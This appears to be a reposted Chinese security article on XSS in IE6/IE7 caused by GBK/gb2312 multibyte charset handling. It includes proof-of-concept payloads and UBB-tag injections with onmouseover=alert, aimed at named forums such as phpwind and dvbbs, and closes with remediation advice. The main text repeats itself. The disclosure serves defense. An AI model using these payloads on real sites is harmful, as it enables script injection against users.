小心字符集导致浏览器软件跨站脚本攻击
程序员文章站
2022-09-30 08:14:41
在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,GBK,gb2312等等,字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字... 08-10-08...
在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,gbk,gb2312等等,字符集指示了浏览器该如何对待返回的数据。其中gb2312和gbk字符集使用得非常广泛,但是经证明,ie在处理这些宽字符集的时候存在问题,导致可能程序的一些安全规则被bypass掉,引发严重的跨站脚本安全漏洞。在ie里,如果它遇到一个字符,它是指定字符集里的第一位的时候,就会认为其后续字符和当前字符构成一个合法的字符,这样它在解析包括html标签,处理javascript,css时都会做如此考虑,测试版本为ie6和ie7。
1 bypass某些js的检查规则
html]
[head]
[title]80sec test[/title]
[meta http-equiv="content-type" content="text/html; charset=gb2312" /]
[/head]
[body]
[script]
window.onerror=function(){
alert('vul');
return true;
}
[/script]
[script]x='[?php echo chr(0xc1);?]';y='[user_in_put]‘;[/script]
[/body]
[/html]
这里即使是过滤了〈>’\等字符一样可以利用非法字符集序列来实现\的作用,因为它会把原来存在的’给结合掉,然后前面的’找不到闭合,后面[user_in_put]就可以用来执行js代码了。
2 bypass某些属性的检查规则
为了避免直接使用html导致出现漏洞,一些论坛和程序使用了ubb标签,但是在gbk等多字节编码下,一样容易出现问题,以最容易出现问题的一个ubb标签为例子:
color=xyz[?php echo chr(0xc1);?]][/color][color=abc onmouseover=alert
(/xss/) s=[?php echo chr(0xc1);?]]exploited[/color]
0xc1是一个gb2312的第一个字节,上面结果将会转化为:
font color="xyz?][/font][font color="abc onmouseover=alert(/xss/) s=?]
exploited[/font]
其中的
alert(/xss/)
将会做一个事件执行,所以即使ubb标签也变得不安全,能饶过”的保护。许多论坛都没有注意这点,phpwind,动网等论坛就容易受到这种攻击。而discuz通过在转换结果之后附加一个空格,修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面,因为有的数据库会抛弃与指定字符集不匹配的字符,所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里,当然像access这种就不会有问题了,另外一些语言在处理字符串的时候会强制字符串的字符集类型,不合法的字符会导致转码的失败或者遭到抛弃,所以也不能利用这种类型的攻击。
3 几个小例子
phpwind论坛charset跨站脚本漏洞
[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]fuck me[/email]
[font=宋体;0xc1]xxx[/font]xx
羃是一个特殊的十六进制编码和后面的]结合出来的字符,第一个种方法可以直接复制的:)
0xc1表示一个十六进制的字符编码
同样在dvbbs论坛也很容易产生一个xss代码如下
xxxxxxxxxxx[/font]
均在新版和老版测试通过。
4 关于修复
对于程序设计者,由于utf-8字符集的可靠性,不存在这个安全漏洞,所以大家在设计站点的时候可以考虑使用utf-8字符集。
对于广大开发者,可以牢记最小输入等于最大安全的原则,在匹配正则的时候限制输入的字符的范围,尽量匹配ascii字符,如果必须使用中文,可以考虑类似于discuz的在中文后面添加空格修复该问题。
对于广大用户,这个漏洞由于浏览器处理页面字符的不同,可以考虑使用如firefox浏览器,可以避免一部分这样的问题。
1 bypass某些js的检查规则
html]
[head]
[title]80sec test[/title]
[meta http-equiv="content-type" content="text/html; charset=gb2312" /]
[/head]
[body]
[script]
window.onerror=function(){
alert('vul');
return true;
}
[/script]
[script]x='[?php echo chr(0xc1);?]';y='[user_in_put]‘;[/script]
[/body]
[/html]
这里即使是过滤了〈>’\等字符一样可以利用非法字符集序列来实现\的作用,因为它会把原来存在的’给结合掉,然后前面的’找不到闭合,后面[user_in_put]就可以用来执行js代码了。
2 bypass某些属性的检查规则
为了避免直接使用html导致出现漏洞,一些论坛和程序使用了ubb标签,但是在gbk等多字节编码下,一样容易出现问题,以最容易出现问题的一个ubb标签为例子:
color=xyz[?php echo chr(0xc1);?]][/color][color=abc onmouseover=alert
(/xss/) s=[?php echo chr(0xc1);?]]exploited[/color]
0xc1是一个gb2312的第一个字节,上面结果将会转化为:
font color="xyz?][/font][font color="abc onmouseover=alert(/xss/) s=?]
exploited[/font]
其中的
alert(/xss/)
将会做一个事件执行,所以即使ubb标签也变得不安全,能饶过”的保护。许多论坛都没有注意这点,phpwind,动网等论坛就容易受到这种攻击。而discuz通过在转换结果之后附加一个空格,修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面,因为有的数据库会抛弃与指定字符集不匹配的字符,所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里,当然像access这种就不会有问题了,另外一些语言在处理字符串的时候会强制字符串的字符集类型,不合法的字符会导致转码的失败或者遭到抛弃,所以也不能利用这种类型的攻击。
3 几个小例子
phpwind论坛charset跨站脚本漏洞
[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]fuck me[/email]
[font=宋体;0xc1]xxx[/font]xx
羃是一个特殊的十六进制编码和后面的]结合出来的字符,第一个种方法可以直接复制的:)
0xc1表示一个十六进制的字符编码
同样在dvbbs论坛也很容易产生一个xss代码如下
xxxxxxxxxxx[/font]
均在新版和老版测试通过。
4 关于修复
对于程序设计者,由于utf-8字符集的可靠性,不存在这个安全漏洞,所以大家在设计站点的时候可以考虑使用utf-8字符集。
对于广大开发者,可以牢记最小输入等于最大安全的原则,在匹配正则的时候限制输入的字符的范围,尽量匹配ascii字符,如果必须使用中文,可以考虑类似于discuz的在中文后面添加空格修复该问题。
对于广大用户,这个漏洞由于浏览器处理页面字符的不同,可以考虑使用如firefox浏览器,可以避免一部分这样的问题。
上一篇: 做图片站对于站长来说还有多少前途
下一篇: 成功率达99%的备案教程[图文]